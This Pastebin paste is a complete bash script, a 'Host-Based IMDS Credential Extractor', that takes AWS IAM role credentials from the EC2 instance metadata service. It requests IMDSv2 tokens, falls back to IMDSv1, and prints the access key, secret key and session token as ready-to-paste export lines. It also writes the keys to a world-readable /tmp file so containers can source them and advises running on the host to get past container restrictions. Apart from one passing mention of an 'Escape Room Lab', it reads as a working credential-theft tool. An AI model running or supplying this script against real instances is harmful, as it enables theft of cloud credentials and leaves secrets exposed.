Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Host-Based IMDS Credential Extractor
- # Based on the Medium article about IMDSv2 enforcement and container restrictions
- # https://medium.com/kernel-space/the-dangers-of-modifyinstanceattribute-d4290ca7a457
- echo "==== Host-Based IMDS Credential Extractor ===="
- echo "Based on research from: https://medium.com/kernel-space/the-dangers-of-modifyinstanceattribute-d4290ca7a457"
- echo ""
- DEBUG=${DEBUG:-0}
- debug_log() {
- if [ "$DEBUG" -eq 1 ]; then
- echo "[DEBUG] $1" >&2
- fi
- }
- # Check if we're running on the host vs container
- check_environment() {
- echo "[*] Checking execution environment..."
- if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then
- echo "[!] WARNING: Running inside container - this may fail due to iptables restrictions"
- echo "[!] The article explains that containers often have blocked IMDS access"
- echo "[!] Attempting anyway, but consider running on the host..."
- return 1
- else
- echo "[+] Running on host system - optimal for IMDS access"
- return 0
- fi
- }
- # Check EC2 metadata configuration (as mentioned in the article)
- check_metadata_configuration() {
- echo "[*] Checking EC2 instance metadata configuration..."
- # Get instance ID first
- local instance_id
- instance_id=$(timeout 5 curl -s http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null)
- if [ -n "$instance_id" ]; then
- echo "[+] Instance ID: $instance_id"
- # Check if we have AWS CLI to inspect metadata options
- if command -v aws >/dev/null; then
- echo "[*] Checking instance metadata options..."
- local metadata_options
- metadata_options=$(aws ec2 describe-instances \
- --instance-ids "$instance_id" \
- --query 'Reservations[].Instances[].MetadataOptions' \
- --output json 2>/dev/null)
- if [ -n "$metadata_options" ]; then
- echo "[+] Metadata Options:"
- echo "$metadata_options" | jq . 2>/dev/null || echo "$metadata_options"
- # Check if IMDSv2 is enforced
- local imdsv2_required
- imdsv2_required=$(echo "$metadata_options" | jq -r '.[].HttpTokens' 2>/dev/null)
- if [ "$imdsv2_required" = "required" ]; then
- echo "[!] IMDSv2 is ENFORCED (HttpTokens: required)"
- echo "[!] This explains why PUT requests are needed for tokens"
- else
- echo "[+] IMDSv2 is optional (HttpTokens: $imdsv2_required)"
- fi
- fi
- else
- echo "[*] AWS CLI not available - cannot check metadata options"
- fi
- else
- echo "[-] Cannot retrieve instance ID - may not be running on EC2"
- return 1
- fi
- }
- # Test basic IMDS connectivity
- test_imds_connectivity() {
- echo "[*] Testing IMDS connectivity..."
- # Test basic connectivity
- local basic_response
- basic_response=$(timeout 5 curl -s -w "HTTP_CODE:%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null)
- if echo "$basic_response" | grep -q "HTTP_CODE:200"; then
- echo "[+] Basic IMDS access working (HTTP 200)"
- return 0
- elif echo "$basic_response" | grep -q "HTTP_CODE:401"; then
- echo "[+] IMDS responding with HTTP 401 (IMDSv2 enforced - this is expected)"
- return 0
- else
- echo "[-] IMDS not accessible: $basic_response"
- return 1
- fi
- }
- # Method 1: Standard IMDSv2 (should work on host)
- try_imdsv2_standard() {
- echo "[*] Method 1: Standard IMDSv2 token request (host-based)..."
- # Request token with verbose output for debugging
- local token_response token
- if [ "$DEBUG" -eq 1 ]; then
- echo "[DEBUG] Making verbose token request..."
- token_response=$(timeout 10 curl -v -X PUT \
- -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
- http://169.254.169.254/latest/api/token 2>&1)
- echo "[DEBUG] Token response: $token_response"
- token=$(echo "$token_response" | tail -n 1 | tr -d '\r\n ')
- else
- token=$(timeout 10 curl -s -X PUT \
- -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
- http://169.254.169.254/latest/api/token 2>/dev/null | tr -d '\r\n ')
- fi
- if [ -n "$token" ] && [ ${#token} -gt 10 ]; then
- echo "[+] IMDSv2 token obtained successfully!"
- echo "[+] Token: ${token:0:20}..."
- # Get role name
- local role_name
- role_name=$(timeout 10 curl -s \
- -H "X-aws-ec2-metadata-token: $token" \
- http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | tr -d '\r\n ')
- if [ -n "$role_name" ]; then
- echo "[+] IAM Role found: $role_name"
- # Get credentials
- local creds
- creds=$(timeout 15 curl -s \
- -H "X-aws-ec2-metadata-token: $token" \
- "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name" 2>/dev/null)
- if [ -n "$creds" ] && echo "$creds" | grep -q "AccessKeyId"; then
- echo "[+] Credentials retrieved successfully!"
- export_credentials "$creds"
- return 0
- else
- echo "[-] Failed to retrieve credentials"
- debug_log "Credentials response: $creds"
- fi
- else
- echo "[-] No IAM role found"
- fi
- else
- echo "[-] Failed to obtain IMDSv2 token"
- debug_log "Token response: $token"
- fi
- return 1
- }
- # Method 2: Try IMDSv1 fallback (as mentioned in article)
- try_imdsv1_fallback() {
- echo "[*] Method 2: Attempting IMDSv1 fallback..."
- # Test if IMDSv1 is available
- local imdsv1_test
- imdsv1_test=$(timeout 5 curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null)
- if [ -n "$imdsv1_test" ] && ! echo "$imdsv1_test" | grep -q "401\|Unauthorized"; then
- echo "[+] IMDSv1 appears to be available"
- # Try to get role via IMDSv1
- local role_name
- role_name=$(timeout 10 curl -s \
- http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | tr -d '\r\n ')
- if [ -n "$role_name" ]; then
- echo "[+] IAM Role found via IMDSv1: $role_name"
- # Get credentials via IMDSv1
- local creds
- creds=$(timeout 15 curl -s \
- "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name" 2>/dev/null)
- if [ -n "$creds" ] && echo "$creds" | grep -q "AccessKeyId"; then
- echo "[+] Credentials retrieved via IMDSv1!"
- export_credentials "$creds"
- return 0
- fi
- fi
- else
- echo "[-] IMDSv1 not available (likely disabled for security)"
- fi
- return 1
- }
- # Method 3: Container to host credential forwarding
- setup_credential_forwarding() {
- echo "[*] Method 3: Setting up credential forwarding for containers..."
- # If we successfully got credentials on host, set up forwarding
- if [ -n "$AWS_ACCESS_KEY_ID" ]; then
- echo "[+] Setting up credential forwarding to containers..."
- # Create credential file that containers can access
- local cred_file="/tmp/aws_credentials_escape_room"
- cat > "$cred_file" << EOF
- # AWS Credentials for Escape Room Lab
- # Generated: $(date)
- export AWS_ACCESS_KEY_ID="$AWS_ACCESS_KEY_ID"
- export AWS_SECRET_ACCESS_KEY="$AWS_SECRET_ACCESS_KEY"
- export AWS_SESSION_TOKEN="$AWS_SESSION_TOKEN"
- EOF
- chmod 644 "$cred_file"
- echo "[+] Credentials saved to: $cred_file"
- echo "[+] Containers can source this file to get credentials"
- echo ""
- echo "# In container, run:"
- echo "source $cred_file"
- return 0
- fi
- return 1
- }
- # Enhanced credential export
- export_credentials() {
- local creds="$1"
- echo "[*] Parsing and exporting credentials..."
- # Try jq first, then fall back to grep
- if command -v jq >/dev/null 2>&1; then
- export AWS_ACCESS_KEY_ID=$(echo "$creds" | jq -r '.AccessKeyId' 2>/dev/null)
- export AWS_SECRET_ACCESS_KEY=$(echo "$creds" | jq -r '.SecretAccessKey' 2>/dev/null)
- export AWS_SESSION_TOKEN=$(echo "$creds" | jq -r '.Token' 2>/dev/null)
- local EXPIRATION=$(echo "$creds" | jq -r '.Expiration' 2>/dev/null)
- else
- export AWS_ACCESS_KEY_ID=$(echo "$creds" | grep -oP '"AccessKeyId"\s*:\s*"\K[^"]+' | head -n 1)
- export AWS_SECRET_ACCESS_KEY=$(echo "$creds" | grep -oP '"SecretAccessKey"\s*:\s*"\K[^"]+' | head -n 1)
- export AWS_SESSION_TOKEN=$(echo "$creds" | grep -oP '"Token"\s*:\s*"\K[^"]+' | head -n 1)
- local EXPIRATION=$(echo "$creds" | grep -oP '"Expiration"\s*:\s*"\K[^"]+' | head -n 1)
- fi
- if [ -n "$AWS_ACCESS_KEY_ID" ] && [ -n "$AWS_SECRET_ACCESS_KEY" ] && [ -n "$AWS_SESSION_TOKEN" ]; then
- echo ""
- echo "============================================"
- echo "# 🎯 AWS Credentials Successfully Retrieved!"
- echo "# 📖 Using method from Medium article research"
- echo "============================================"
- echo ""
- echo "# Copy and paste these commands:"
- echo "export AWS_ACCESS_KEY_ID=\"$AWS_ACCESS_KEY_ID\""
- echo "export AWS_SECRET_ACCESS_KEY=\"$AWS_SECRET_ACCESS_KEY\""
- echo "export AWS_SESSION_TOKEN=\"$AWS_SESSION_TOKEN\""
- echo ""
- if [ -n "$EXPIRATION" ]; then
- echo "# Credentials expire at: $EXPIRATION"
- echo ""
- fi
- echo "# Verify with: aws sts get-caller-identity"
- echo ""
- echo "# 📝 For container use, see credential forwarding above"
- echo "============================================"
- return 0
- else
- echo "[-] Failed to parse credentials properly"
- debug_log "Raw credentials: $creds"
- return 1
- fi
- }
- # Check for iptables rules blocking container access (as per article)
- check_iptables_restrictions() {
- echo "[*] Checking for iptables restrictions (as described in article)..."
- if command -v iptables >/dev/null && [ "$EUID" -eq 0 ]; then
- echo "[+] Checking iptables rules for metadata service..."
- # Check for rules affecting 169.254.169.254
- local metadata_rules
- metadata_rules=$(iptables -L -n -v 2>/dev/null | grep "169.254.169.254")
- if [ -n "$metadata_rules" ]; then
- echo "[+] Found iptables rules for metadata service:"
- echo "$metadata_rules"
- else
- echo "[*] No specific iptables rules found for metadata service"
- fi
- # Check Docker iptables rules
- local docker_rules
- docker_rules=$(iptables -t nat -L DOCKER -n -v 2>/dev/null | grep "169.254.169.254")
- if [ -n "$docker_rules" ]; then
- echo "[+] Found Docker iptables rules for metadata service:"
- echo "$docker_rules"
- fi
- else
- echo "[*] Cannot check iptables (need root privileges)"
- fi
- }
- # Main execution
- main() {
- if [ "$1" == "--debug" ] || [ "$1" == "-d" ]; then
- export DEBUG=1
- echo "[DEBUG] Debug mode enabled"
- fi
- # Environment check
- local is_host=0
- check_environment && is_host=1
- echo ""
- # Configuration check
- check_metadata_configuration
- echo ""
- # Connectivity test
- if ! test_imds_connectivity; then
- echo "[-] Basic IMDS connectivity failed"
- exit 1
- fi
- echo ""
- # Try IMDSv2 first (should work on host)
- if try_imdsv2_standard; then
- setup_credential_forwarding
- exit 0
- fi
- echo ""
- # Try IMDSv1 fallback
- if try_imdsv1_fallback; then
- setup_credential_forwarding
- exit 0
- fi
- echo ""
- # Check for restrictions
- check_iptables_restrictions
- echo ""
- echo "============================================"
- echo "[-] ❌ Failed to retrieve credentials"
- echo "============================================"
- echo ""
- echo "Based on the Medium article analysis:"
- echo "1. IMDSv2 may be enforced (requires PUT requests)"
- echo "2. Container iptables rules may block metadata access"
- echo "3. Network policies may prevent container IMDS access"
- echo ""
- if [ "$is_host" -eq 0 ]; then
- echo "💡 RECOMMENDATION: Run this script on the HOST system:"
- echo " 1. Exit the container"
- echo " 2. Run this script directly on the EC2 host"
- echo " 3. Use credential forwarding for container access"
- fi
- echo "============================================"
- exit 1
- }
- main "$@"
Advertisement
Add Comment
Please, Sign In to add comment